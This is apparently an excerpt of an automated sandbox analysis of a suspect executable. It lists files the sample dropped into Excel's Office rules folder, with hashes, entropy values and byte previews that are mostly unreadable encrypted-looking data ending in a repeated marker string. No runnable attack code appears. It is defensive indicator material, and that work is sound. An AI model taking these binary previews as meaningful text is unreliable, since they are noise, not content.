Preview:	<?xml..$...q.-a...g...g0.o${.3........[w.jp.Izo..^.o..{...u`..\|..i..?R...T. .u.c..`.CAf.z.u"..L..k...."....Y..K6.L...z.^.#....J1x..:..d...h..8..,.U....B&a e.u..\.AQ.....Q.'...rvUa..3..........p..1.f.n....0U.....b...E....:....."n.K.).......m ..@.w...._I..$@\.i........>S......fz9..lT+.Y.F_.zKt.j'3....0....\....w.-......E...1..CvpM...'.JJ.z.U-.......my^..ub..+4.U=....\|...4...<..4.A..R...?...\..Y....s..'.jQc^..k..[.*>>HK..^\.........+.....r.d[F.n.#..........X..8v\Gk$.ZAW=,M.[.....1g.....%U..gu....h..Z..v.7-.....+.aef]..E%=u.V.)d...V3.......Q...._Ct^V]....[..[..W..e...w.k..t..0.;...yfa}..N.......nY..rz.'1............7I.jqd..i....!uL..?h.\|S9"....>.Gf,)c...f.5.U......U.%nH.h.u.]......\|.(qA\|......l.>e..$....($.{......R.H..3s.>9^....q.....4A....._<..&zk:0..R>....#@.\.u...>........(a....%%.g..N!q.-..;...n........X)<...\.x.b.W`..o...+Suq..Tdt...,^..w.........5.a..K..p......OY.........k....X...l9PV..H.....et...&`.4...6...b.IP..YQ&.L.......t..A.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.694392851896984
Encrypted:	false
SSDEEP:	12:Zum2duc2hAnRebGIoPIDL0binSAerU0qhRXquSiKmoHCDzWBVQscii9a:Qm2db2h8ebGIx7N2U1hRXqhtOqgsbD
MD5:	45A46EA3A17523A4928CA8DD4B00C512
SHA1:	BCC0F59F98C748EA48C4E454D79667B6D42E7E5F
SHA-256:	B8D28F220F0C0CD5912C46A239D5FE07C1FC5A0709E3A2A20AEB6AFE37482A15
SHA-512:	823CE6CEFA7BD74511C0A642AFFD1F484B35EBA7A2B9D5ADC2C3DADA2311D5AA6C26B5A2A27F1EC743F84C1494361A484F08C379F49A622FC5C4DB5C453D68B6
Malicious:	false
Preview:	<?xml'.F..a.(&_.u...IB.......y.l.r..gJ)....6.....\|d.....9...0R.`...vK..JT.b...2.E1..{.#.q.T5@...h.rJ.p......G.3$Sf.=.p.I=F.&^..RO..KR..G........."eFY.D..V3.r..U}.WlF?.s...H.../%q.s..'.4Q.gQ.Y.Xt.....v.....6q.s..%.{.....~..j.v~..]F.:... ..?x......A.....\.H....V$gbp.Z.$Wk..........j...A...k...5..3.. ..g.]r.(dO85.C.ly....l.y..+.P.f...&V&L..P.-lp<..[b.....$.O.=ZH..\.wk.G...v.y<.J.\|.!........p./%<f.. <y..et.%.D'..{....Ax`p`..vx......J.(bV3Oo.9Q.2B..SL.l..=.$[?......*-.<....4~9.....Zp...Tp..........Dt....o.}..c1........>.;.../.5.......z.g.m.V.4..9_^.t.c..'......4@s..l.?..@5.....`.uf............G..6..1......6...-'.zkh...5.!.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.7944556431850645
Encrypted:	false
SSDEEP:	24:USIRD/QleDjRfOorIRbuIBqdu08U9QJc+TFv5/edjJsbD:UtR7QmabHcdvHQJcwFsdjJmD
MD5:	EA543D57BB3C84E94049CBE39664D623
SHA1:	83B6302BF5FBB57225504F7DADA1220A66A47461
SHA-256:	4E865A75D673AA0A72D945A37F1FFCB5DFC8DD3352D18CE1081DD44C212638D7
SHA-512:	ABA6241033D3B9CBAE81BDE7378E4BC2E87C13C1718097550D4C62FF0088E13A90BCC995D62F9BADC2DF90E88D9B659AB331E3F2B3544FAB1F9DFD5CCDA72920
Malicious:	false
Preview:	<?xml...F.M^.....<..j......7.+.9.\|.f.n2.....e...I..hde.BSc..f..u...5....Fy...m.....:.P.....1$....I.v1..v.(.I.G6..A.o..X.....m!.../(..T(...w.....:.c....7pF%9....F.3F.:l.M.....Qk..t.E..9.Y4.Pi.Bu.,.!..=...5,s...5.........U.}..{...S....@o.!/U.X...2.........2....x.=.iV.g.....[.4.'/'......w!..f..I....~.....-.l.[o...y.i..5..@.c..<m+....V.,LR.......A..0R...r... .WN...w..tL.bx.....+....ji...j.+t..D..u.-..dI...5....m.!7..I..2W.-.-.. d..\|:~~.Z..J.m..J.7.... /\/..U..+9.\|...W).....`..Z6........XW-....Jm. .q.2.d}.k..$.H..d.6.#...gs..-....s....iS.b....Bw[..7..5.c..V^C..y.y..u...\|.....q...$...n..\|p.X4.....C..KQq.l.VU\...@.s`..h/l.....%.....oy...6.&.........(.(.Y=u.~.../...m.2........X:.C......^.C...-.~4yG>.gV.........N.H3\|...L...<....=....A.LW..........@[..z.J......`8.3.wk...y.{i..."(...H..c........r...%..9..........B%.G.k..F)...Xk../.P..g..U.l"u=...aG,.s6Y......y..]h..B.}.t.0.yTt-OS.........b..%...^.....K....m..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5Bueudp

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.788741830259219
Encrypted:	false
SSDEEP:	24:YnB9U/pOgRNgMqFNsB1WUyQdL2xdjB1DsbD:0BSpfRNglNPUcjBRmD
MD5:	67CE063B6C2431CB6B097FF71395EB13
SHA1:	F464F5BC79799F6746CC0B27B3662167B8E0B5A6
SHA-256:	E1490733FF0DDA5881EABEEA5CCDB586735AB32E0EA863D1A97EF74A4E0AEE4B
SHA-512:	00A2F72416D26E7FD04ED509585DDE55C1E920E9CAC83BC1E4A6DB1DDD99E706B209A112689DBAAF52B6349F8E5A876672319DB18B330E3DC72711E8DC6BF3F2
Malicious:	false
Preview:	<?xmlVr..KY...}..}.....#...(.B...{A..C.b..9.....GF..B.~$.i.JG.....\|j.K.~z8=..Q$H^'.)R.e....'..1 ....T..J..=]dv."{..t...w.........,.zB.{C..s$.).Q`..lNK.(..W...Af..s...b...._.<W..b....7...d.Fa... ............`...A.. ...g.... ?y..3g...>.....X..?.....C;....P;V.qZ.`..].`..f..;EE.n%...C..;.........X......'......qAb.............2s...g..o..K......PxJ....'..e...I)i...M..g..%...\|....7.r.m.....5,).. @.c.A..0.\|v.(%.,'.,.......+.(.qp(3.[....N.?R.`0..J.D.'Z!v.n..:...B~.".p..(.T.......$...A.H%.g.X....1....1.F9..(......"m.`..v.z.J...^%........uQ..C...h..>.JBG.i..n.58!.4..&.....R..e.r.y..Gs.J.Q.xk...v+Q...#:.t.d.G...Pw.Z...G}.Y..!.V.."k.5p.....D.....Fz..;.. ..J1..l..J.Y.c..D.(..~p...\....lX..t..y.U..Y/.v..C.n...Fa.SG.C~C&.6b.F..2..'*^7.....l.......k..@...g2.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.8395810598385385
Encrypted:	false
SSDEEP:	24:I7J5dbaOLaL9GFh4ova4qttM7xtH5NEwOU62Tp/OR3JiyDEXD0oAwg7sbD:m5dbaOLSg4oELM7xx5nOopu9U0oAwg7+
MD5:	A0458448392B6A2353FF400BD0229B3E
SHA1:	2A2CFF91F80C9510E30EE8C92A4672A7436F3D11
SHA-256:	C7CA7250C35068211E128C422E645B3FF701913DADD3A3432A9340612EE27EE1
SHA-512:	01E0F9CD44C95FE4EA1485926279943EFF947765C782C742A8DFFD49435DD92E95A00845BFB757813FFAA2EB4C30451103CB0DCFEED7CDC12DCF7307AAB8C9D2
Malicious:	false
Preview:	<?xmlu.;..1a^ 7..Z7L.?...QWjd..^^...y/..HQ....?!0"..7.U\.9..-...q..... /.X?VT.._.>.j....9....+..J.-...B.Y.....4d.Z...'.../.q.C..w._...@W.=P$./e...1B.X......e)e.}nuP.~.).{.......%..) N..v..;;mY.Ub.h..8Rd._..o..:..w.T5)...J.<2.......K6S.....E....7..O...F~...p.;...!..PU....<...:./q.B.a...1....t2...2......HY2.. .C..,....s#.^h...(`.:.[.....P.U..aB....\|.....Z.......<6X.d3.2...DO=:.>z...X.n....s....9rq..J...'..j.e.x.t.,Z...Q'a,9...v.xd.)"0.s...(.m..J....O4./.M...7.]......[.]..#c6W.q..)RO...<.........O..W..d_.7....t)f.+.Y.'..N<A6.....0._....1..g?...c...E.....@U..y7.. S..A....X....m ....q..ER...dy._....$..y.x#w.\9JU.?..5%C.....y-A..H..........k..29D.....B..7P....nU~/......I....m.B.6?.....\.M.;.J.J..]Z.a.9t..f................o..~.k..}` ........,+....d$.MmG..E..c.;.9uW.....P..m.B..\.g..J\c:..XU.}...%...p..X..l.&;. ..q....t&.X).S....'y...#..8..g.z.o.:L1F........p.G..=..q...vnG.2A..e...p............L........m...C(.\k].$..[-..o..D....._7../...D.NI.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.899599144772043
Encrypted:	false
SSDEEP:	48:lXlC26TbsxFRzNORJSItsi+JX8rTDczwZuANf/leENmD:abTwFa+JX0T4zauANf/le4+
MD5:	85BAA48B755D5605BCE25EA60BC66EB9
SHA1:	294D443C05D12D5E832F66876E047059B1AD4783
SHA-256:	06E2CFC7D74192FBC295E1B5A11727079CDBB0F570722790BE66BF0307FD8D8C
SHA-512:	CD089494193F0065446AE5938D253EBD5AB6D8187E8A6CE32DCCE5FC37EB92E0BC6ED1C18210B72BB4A10EE1789F4DF48F484871FC6637542FB6F0FBDBD955DD
Malicious:	false
Preview:	<?xml..ks..@..(G].E.h....jo......,@..P8..5..%...}-V"......w.:.#00=.)..1U...2.9.Q.17.....^..w.\I~.n...I.."!7;F...D......}Lo.d...-......Hf.4...2I(USnVr..!..\|e.....j"WU.W..-./..f.)..F..A8.}.........fv^BR.!.fO.cVm)^.1,...f......8.x\|.W...=..mIic.:.8.5w.....%S..m..E..R..r.U....~......VF...CT.Gx..L.........RW1.!..9..C.I...>`..6...(.D<0r...%.&\|]..FfP>W.j.e....B..&{......).8..0&?...p74..J`v.y..R...$YD.H9w4....T...X..E...jY..7.Sb..i..d..4.;....\|cQ..1L.e...Q....4m.uW.<.C..Z7.)..c../.P.L..\xl.....l.u...A\....R.Q....0..l?.$I.'.L....S8.n.@..\|..R.cTD.a.YM.q_.]:..B.I..Aa..K.v.............-.K.3?..Z..b.LN\[+.eC........4...dU.f..J?.~=..QU......{.H(..=?".....W...Dxe....7...N...{...1._.y...z...C..[.h.,.......6:9dR........[1PP...6ym.../....\|.?\|do.@.@.y.ZY.QR.`.M.P..kQG..-.6`..?.h.e......9..`%..4.#.y..@.7j.=U..e..E...l'.I.z.).b0>}...]...\|..Z[<.....A).z>....V0.K:.00_...{.;.._....u..S!r..cy..T.......[..`..{.S.R\C...8..dt...H*..J.>X.P..n{i.l.`.p ....7..Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.90409004807314
Encrypted:	false
SSDEEP:	48:M2FVKp9U7pOW5v7l5JAxAX3cDPPPiiJqAWtlB191maz49HHHfmD:rF4jUUW5vx5JlMDPif9bmaz49HH/+
MD5:	7625A8FAEAACB78708738A8A560F5F59
SHA1:	43EC96B5CE38854F0E6B0A245248865417417163
SHA-256:	32B934513AC23975A2887A33394DEF31958EF24A534366C249045D45E68C6BB1
SHA-512:	6E13738696F3E15F6BFF04F4F04B8F30BD32D5A75F77EEECDECE0BE601506B2FDB0E689A09C78B78D939DC3C92022B3DD0EFAD4FE2B73E4029D5A90406F118DD
Malicious:	false
Preview:	<?xml.f.......x}....z......ce.J...s....y&.?!...Z...@.K.z....`/W......N.G........W...4v.+.!F.ar.r...Y..}.V.7.Z'&.0..9.9...P...;2m.f].....N._...... A_ER.r].S.Rt.9.#_d7L.\.`.GH.....C..(3U...%.U..?d'.........m.C....... ......DqN..?xKa.3.n.##._/I{q.....7Cx.i+.<q.q........'..8t..JI..o.N.a..8.d..H...T.R..&M=M.X.7.......B..!.."0`....d2#.!..'j&F.-rm.,...!..ev.Xc...1$zk..ge.mb...).. h.....;....W....(l+7R.#....8...u!.._...=.)...\|.m..D.{.._'..o...1F.yII%.5J......5..0u.o.X....N.....J........P....0.Q.#B.a.t..c....D1.e&mG:..Beu..r....J.K,.@HM.u.....{........ 3f.@C.....9y...........Y.W..q...T.wW.9.:..KL.j...<}..Q..^..r.2yQ6 ....\|....kKx%v.......'..:k..N...zS...:...@..a.=.c.....l..LI.........Kc..V\|g....%.,.l}w.?.."..4N9#..$._...m.....1...&6..cB.dN..U\|\|Z.....~...`$.Z6(g-".....^l.KD..6..pR...+#..OR...........Q..G.\Z..#c.W..7..E^>.?T.gj..^+..Z....G......>..r.,E6.n.].a._lPj.N!.^...?...y...d\|...]......?s...n4{.g..Y..f.MV.,@..*{..4..r......h.K.<..e..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.721991911593644
Encrypted:	false
SSDEEP:	24:SjZ+u3BnTUURbgC6JMAW/3aOkjso5ofsbD:SjRRnTUiiZS3wYo4mD
MD5:	EC0A4F4EBD10877611F5904AB2DE4D3F
SHA1:	C8FC42BAD5FC63066B0D11B3939D3DE8147D9B10
SHA-256:	F060B07DBEE1A3FEA16FF1BB1F462771C53615AFF810F4F6A8B95E3F3E241A55
SHA-512:	473AE2DE2D615907AE5D1BA240F21C230D9DD0AB8099419D4C17726F7A56E18DE1B6823B70391E2A191FD56CE4FAA898E796DACCC5222D56D8336EC73A6A8F27
Malicious:	false
Preview:	<?xml.....5...#'..O.9..v:t#@...Uh.Vb&.'.c^.E....1......r.._.D-...\|.L..H.oi$cdV..5"..Y.:.J..r/.....5....1L.?..-..f.......I]m..Q}t...?...N.zj....A.....;...@Q.l4;bgKeD.yS..':F..8..M...mGr.1.BF.......C....1...<P5f...0,#..b.~.G.s...B.....K..!../#... ..4.>}.B).o.@.C=..M..K...o.fA..."o.m#........9. .....>\|.....8<....._.}...n..E3.._....m..e.t.4..O......aG.wO]A.....{..OG5.m..#n..fH..2...t8wc[e.....X4..e...3`.%. .dy.=..?Q...h.@P...x.=..SpOJ".}...K....d#..!.@q...............p.'2.('"v..N#my......Y..b.>p..]...~.G.{DJY3s..k...lP..T.v..............G..............H3..h...c'`...F.U..k.J4#.....g....&A.R....0i.D.&Q.Bu^2...^..*`..\|S.I.8q?/.&..n/.m...423'...qb....#.........]H((..L.n..!SZ....=_m?v.\.........b'...oM...\ DA. oo...aUo.l..s....>`q..HX.l...GO..D.~O.\......K8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.675936865728158
Encrypted:	false
SSDEEP:	12:o6WlVH8Md89Jx4i4C0C/MB+M5n2Xr+SQGH5KKoJQre813fEsZgmoSopBUQscii9a:o6mVH8M+l2CkgMFw8GH5KKoOreqv7y01
MD5:	63472F70A373002C5FB662813DEDAFC1
SHA1:	FF8E1091BCB2C1F84F23FEFE535A7CF23D29C41F
SHA-256:	4C6CD013C1562C2AE5929CB69F6B312933C0FB74EE05CCC1324546361F021068
SHA-512:	4924403BA6AA92A18334C0EDF327B88CDFDB865E71516DD9B3904494FEE0C1B0C7EF4A0597D0EA5BD3E4C1D30A90AAA70B81D836B1A5472C05238EEBD44E7101
Malicious:	false
Preview:	<?xmlU.g.Ro..3...\|.)...!n..'.3.J.B.h(....}.....=.Q..0xA%...l...M..k.....a.......\'.........,..'n....p.Tt.fN.....6....%f..G.@...O%..8.H..l<!....W.....>......fo..fX..l'Wr..(l.2r/...="A..mL.....v........zH.`......)3lN(....Y...k.+.+....C.'<.G....J....i...a.i1..!..._$.&m...i.....D...p....<$'...D......jZ.FX7....._g..iw....Y......h....k6.5x9l...9R...a...\..8Tx.+.@........i....M.,..z^(....2-.J....3.Yd.......,...{............#K(.&....A.Q.#..m.5}..QW=...rP}t!X..k......\|p.Jp..<^O...{..eS.0Q...f.:.<X.i#6/R....f\|.f.6...........x.1.};....\...'.Rp.%.<w..=....u?j../.....\|....t.^.d._...2...Z.{.U.....L.2r....6G.'.`._..e.a.#.L..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.895991244238434
Encrypted:	false
SSDEEP:	48:05CafWKhCl5jvnPnJDuYp1eXPOKeoabCYEJmD:IFf4l5rPnpcWdwYC+
MD5:	AF122F544F6D4A8F9186FAB4CFAF2820
SHA1:	B4C688F56A53AB322549544A9780743A99C6F24E
SHA-256:	A6031AEA88103A6E3CE9B5FAD0C9693DBFBC94B8F5432BEF32F52CFCDE9BEA33
SHA-512:	E197F83BE055FB5FC878DB123C45341DD3A64CD30C87BC9728A3AA582404B5E148B444993D9581939131C681E3AA1A2FED3C916B3408148B79E2D20349905C05
Malicious:	false
Preview:	<?xml..z..Z2..>JpM.y........m..;t9l.......4o'....mv.&...r.;.l... ..}#...s6YL.,.......s>YuQ.0.;0.B...t..%..!..e...%.(.....#=...a....bU..$\.C.......zb.)..&.2..v...2..t.B.....Y`.X(.........Y\.....q..a.j. b.l.}"b.W.8U.{.^B..q...a159...:..se#....+..\|.V.>.....B..,.....y.e..3q.?...e.....4...}3..V+..&..g..>..D}.."..O...^)....-....pc._..1c...^..........-.....S.6.\|;..(Z...+...55......\|Y.N.w<....g..lEk.mB..f......q.$y....E...E..(........B.6...Y`J?.(j.2V.....W....\|.S.........{..!R...GD.BD...\......0^.W......... .3..q.. .7.yr.....yl.....4.:\|.o..i..\|..e.3.R......=9..3............G]fI.d..M...........\.y&.R..F...)...W.+..lV..7...p5.....\..-SpM.......0.)if.....3.#1.$~......[...%.. ....Bz....'..b+.......Z.?....._>..h.p4i.?^..h.".\|.m.C$D&$r.W...M<.W.....Hf...A.......h.\.Vk7..E...]+.g...s.o......].7.....^\....\|../...).\|?.........KS,.I05.bT.s.......#`W.)..#.jtj.<..=......9..R..........*\..D.{yt.=\..]..sFN.....`......L...[Y..Y..!.7l~."m..\/;i+,Il

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.896275403408658
Encrypted:	false
SSDEEP:	48:38h2ddj5j2SVdDPkGQRMIqBZeMNIIzI+wLWPD4VWaqBap9rmD:3g2dR5KSrAGZIueMNI4XVDGWaqQ+
MD5:	5C5AF40D2BB01FF2C1FE65094183033A
SHA1:	B3DA60B7D847E5900D9411BDC1C2A1305AF79BAF
SHA-256:	C1F75573968EC38D61E6C0F7C87A22CC681BC2C6DD15FDB1787106940FFC8600
SHA-512:	393A55CF0DE5261377CC9804B4580BE2E91850CBE2776EF9BF1EF312A839F968D46E837774F5A13340E297B743FA7DEAE92D73FE6253CF5538128E7A1264C13B
Malicious:	false
Preview:	<?xml.DT.v../...j.K......ZLpF....U#. )~.}}....8.....gp..:Zn$.M\.HNJl.l.9\.F..c....l.r...b%}p.>&.......6...~1.j..N=.jM.y.?A.z...M...L...y.........S..M...m..._...f.i$....[w...KNi.IQ.K.s.....>.j.....@C...QW._@. ..Dm...~.......;.c..L.l%.B.\...M.=.h.........E}..]<.X.].WW..-...2.&5U.q.VnB.e..... Yw..b.......O.[.c...g...S..@.....@j......g.Zb..pR5....dmc.........7e..i..?......M....N....%.:.'.}Us.K.,.........[..,9X.(..j?......V.;(...r4....f....N..,...0.w}$.9..F1..A`.....S.h}{.?V)~....T....B\|>.j[......F.F.`.:.B......n...+..@t...!......K.3...R. 4.d....g7o.p..jt.t.....2..}...W...J...RE.}.......dF.2...9...q4....B../_3.....3....2.....c.....I\|}......`,...0.>....]x@Z.."A....>...84..Q.xt..y.....0..q...c...GX..d..\|..i.C.}......z....*2X........x..E.-.VD.J...4..=.Rno."......OB.U..H........G.q.(..!.<....%LNN6....G...Q.E..'....}>J.]2).....n.E..rP#M..F..p...M......#....d8.:0.1........R...k_VS..jXu..N{....Ju+....edm4.jUd...>q...boS.WK.l..0\|r."nl..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.723731932647236
Encrypted:	false
SSDEEP:	12:Z0aiyhcHzAkqNG860aFk6sUvNEFZDpxnHrGeYxqzZjUhzPY9K7LYh/0FLl1mJB3G:Zbi97f86vKRUFEF9IqFEk9KXYh/Ul1uc
MD5:	7DBDFB89ECC690F7EC21147FC4D176B2
SHA1:	454B7DA778D4760D2E019A51600F98082BCF2276
SHA-256:	27056D1A17E193CA9EFE61E6811E118BB9108A5ABE6ACEA7F51CE33436F1F9E4
SHA-512:	68D120D94EE95B1EB81F74E157F1E6CC0F684ED0880F0B4FDDF8197E43E373728181A4075C7E30A9E27A000BDB35FF4C302A5004A6841D8FBA29362AD873D9E5
Malicious:	false
Preview:	<?xml.....0.+SU#rS<..h......?J.D...^V.N.3.BG#.IYu7.>z....i......+(.$..:..^7Z..z+/Ed.....\|e{...+.2.~.G..0..w...n.v.i..e....t.6HKQ..Q...5..Z,.+.~....,..1o;#..).y]61..../...}.74.4.}'.........X.~..s..&MV2f.qh.YY......\|....M...h..x.K..j..9I..$u....F...T`..W0D..6g..{......f.o.....v...L.eD..L...#..e.l..vN.DZ...l...4...}E.'..:.na...7%.<.....sa9..`I..b%V.)..S.w.]...m{.C..\|....s.T.....dE.UAT..<l.\j.a>.e.I..ou...'d...<.t+A....&.`/m...v:....x^ ...Z..Q.N.$a.^.......n..a+&.+...gd......fL....JBc9.z....p..R.n..-W..p..J.l..F......6....Q.......~[G..O...0K........J.....\|.k%./i?@...U.i..Z....O~l.....Z?.v...."......H.5..A.1S.J......V.......Z.I&x.X...p..<...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.868446631796709
Encrypted:	false
SSDEEP:	48:RbTwDhDOxGq0WysMn7oJogmcsWPVmVx2SaFQQmD:RvwDhqYDhntIV5tFQQ+
MD5:	63232E883AF1C89B7170C80A13BEB7B5
SHA1:	79440B432E64D7BF2CC5E2C7B3A7C6CDA48DDA58
SHA-256:	F788E77B7279DABB09131D50CFB7A933B752C134F7829FCD4D2E299E6E590C67
SHA-512:	E6DF3F9C8ED566E840E13A57C5FE3AE3C9A70D4A01F2FF6046A10F10BADEA1B16867BEF08F6720C3FD067D0AA3B55D47907C881686282F0DC29DB423FC139207
Malicious:	false
Preview:	<?xml'.......O..\|..}....%G..0b..0.[{..$\...V.'.8g.....g....s .5...Q..&C?C.$kk..../y..t........6..%..t.3#nW+.lz<.4..$R].d..4.v..;.u.A...I..!=.XR'x...9-B.Ww.^..E...p.M.Qj....{1..u...2..~..a..}.o..o.&p..?r.\|..P....c.......>....}.M/....a.-....M.'.........X..>..kS{2...T..b...^!.}WN.}o..!.[6..q.c..Y..)XxO............#.F.Q......T..{.&WI.M....t:.c../..O...9Q..Q..^.;.Z..N.5<o..u\....%r'Mi..t.9o..x1..... ..G..yH...Qh...C.%.J.....Q .F.o....2.Lc..+ ...Y.....T....@....~..jiH7+3.;P......._0..$G...4.N.....){R.5..@R_..;......c{m....\|...}.5.t.C..C......K.F9...6.l u.,..WK....}.\|.t .E....'.1...h.......J..o....@I.._.FIt.-n...-T....y%.Q.....rN..f....M.z..T.YM.')l...M.b8.A...T.\|.+.>@.f...)..=..o.......D.At..N...)c..M...5{G.SlO.Q........H...;..\|}..a.....(O....}....;>..F.W...?......X..t.....vl:.......$?U.....j.0%H..........#.G\.........CvM..%..(.)...'3. i...mw..o.Z..... ..Ii.F.#..yY....&X~.}..F....:...-..../R..Fmu.F..LMh..F....e.,J....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.886748555462407
Encrypted:	false
SSDEEP:	48:8l5KANwwN0vtGtDI6KfQ1bXi1Y9LX/ASz5azWpEmD:8JNd0M+yXgeXr5akE+
MD5:	8B8F04599759797EEE0009291B57828B
SHA1:	B723E8EC36982F8CDE6F7E10B63040827929EA80
SHA-256:	E23427A72900914C51CE598EDFECD20DD0753BC622F6C8616F113D2C05EAEE13
SHA-512:	EB4C0E00F573EBEF8E7EAE2BCC315645FF6423D2464584CA7707CEAA533EE7CC6D0979353B4D50A576F3BB050B548FF3A0F188867EFD90D416C41F5128F7BEE9
Malicious:	false
Preview:	<?xmlR...bm..fG...Q...}.D.?...wp.N.........&..e...)hvR..~....s .U...O...&.l_....1.+..Hn....[..9.o..v...G....2."l..P>..{N.Y........V.RO h.j.. ....s_..k..H/....y..!.....`x.c..J..t.qq....ug?B,....+V..0....FFb1. .%1.e......nA.V.u.G>...>...}....C....$.3./`.ZA....{.N..q...N...&........x.+.5.w..LM.'...\|..E,...6 ...uf..{P1...E..vr:.X.6.by.. .....j.iW.o..w.....f...g."8.........;.s..a`'..^{.K6..O....l^.B.c<m}Dc#=c.........#...R+.H.U;..b.!...`..".r...N."L.~V.P~...2....V.....D1..f5lk....`B.GA!.N.X.f.......d..&......^.M..&c"}K:....W(.t....<N...aS.....BQ4F.L...!3.}Tw.8l........#.Hd...i.K..-U.]w........-.p~.."<<.KV.mB!.....<..............t....X...`.Wp..u...9.....iI.......&p..b{.........r\..0.A?.........w\]=6.a......!v.D3....6...6aT.-.7..b.8...;@].......k..f..)..N....8.{N.oN..t8m@.....>.M.AIl.]Y(...B.6/.$._}Of......@j....K.j.awQ(.......\..O.q.p.eA..2.Di...6\|Y........=K....X...).Y....j.T.....u..!.(.....F;#`.z...\|.x.bu...}.q.8..$B.....3.b.yvF.].6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8705659367611736
Encrypted:	false
SSDEEP:	48:AU9fUCf06obWpXJaGsJV5jZS9TecBAXLMuLRbmD:fr/EJV5jZS9Tex73LRb+
MD5:	59000F87E1FB61F3D82D47AD08CC0A36
SHA1:	D09BC652C795268FE3C9ACC42997EB026FC66796
SHA-256:	D8B9BCE8ADE6D7D37A6E3952A48A1A66B7050D4EA1FCE1DD6510705C63E09997
SHA-512:	906EAACDADC9821A561258B3CA842BD3718E58106EE709EEA1994D4C1CBFF54B8DE0122826AB1018D1226CA3257BCE3D14E6E14AC4D9D1D10C344BFB12C48997
Malicious:	false
Preview:	<?xml.vw.5.e...y..G..T.7f.....>....r=<......XZ...E...6r.....@...0.7.t....C...Y6...Bu.J[.V[..-......+.)....n0....-b.,.'...F....HY.r.U.!$..H_P.e...<..8..8d......aaU.u4;B.....w&nzp...5.5.T..;..kA... Q....q.d.`...D..F_.....F.vp..U\.P.......-q.h..K/....6.....[0........A..V.O.. `.J.c.N:Je{.8y5e..."G..k..n...T..0...^..<.vt.Q..s~...Gh0<e...)\|.V..G....d/.DZ....i=...T.\.4..>.....;l.9..'j...k..#......ke:...>KSO.t.2...S.$.q.D..`.:.DX...'..\|.... B.....M..(le...!.+(..f{lP.....<.....-.....X.........~f~S..&.:_....E..Q.W._R.......t9.\6....+ .#7>w<.N5.R...d..5......+!.8<.Rq.yc.%?ez.m..,.....A....d..".-9..B.o......e:S.F..:.'p.@1.6}..p.)..?9\|.U.[...H.q....6K..x..5..@>......d...l.@.YM.K.."...... fV.x...<...M8....)d...M....1.>..".F...j....(..UhR.{z.%...)Z...q[.Mw.~GnFh_.....<.R&.. 